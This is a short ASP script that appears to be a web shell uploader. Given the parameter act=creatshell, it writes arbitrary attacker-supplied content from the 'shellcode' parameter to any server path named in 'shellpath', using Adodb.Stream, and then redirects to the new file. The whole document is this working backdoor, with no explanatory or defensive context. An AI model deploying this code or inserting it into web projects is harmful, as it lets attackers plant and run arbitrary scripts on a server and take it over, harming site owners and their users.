<%
'On Error Resume Next
IF Request("act")="creatshell" then
set gl=server.createObJeCt("Adodb.Stream") 
gl.Open 
gl.Type=2
gl.CharSet="gb2312" 
gl.writetext request("shellcode")
gl.SaveToFile server.mappath(request("shellpath")),2 
gl.Close 
set gl=nothing 
response.redirect request("shellpath")
end if
%>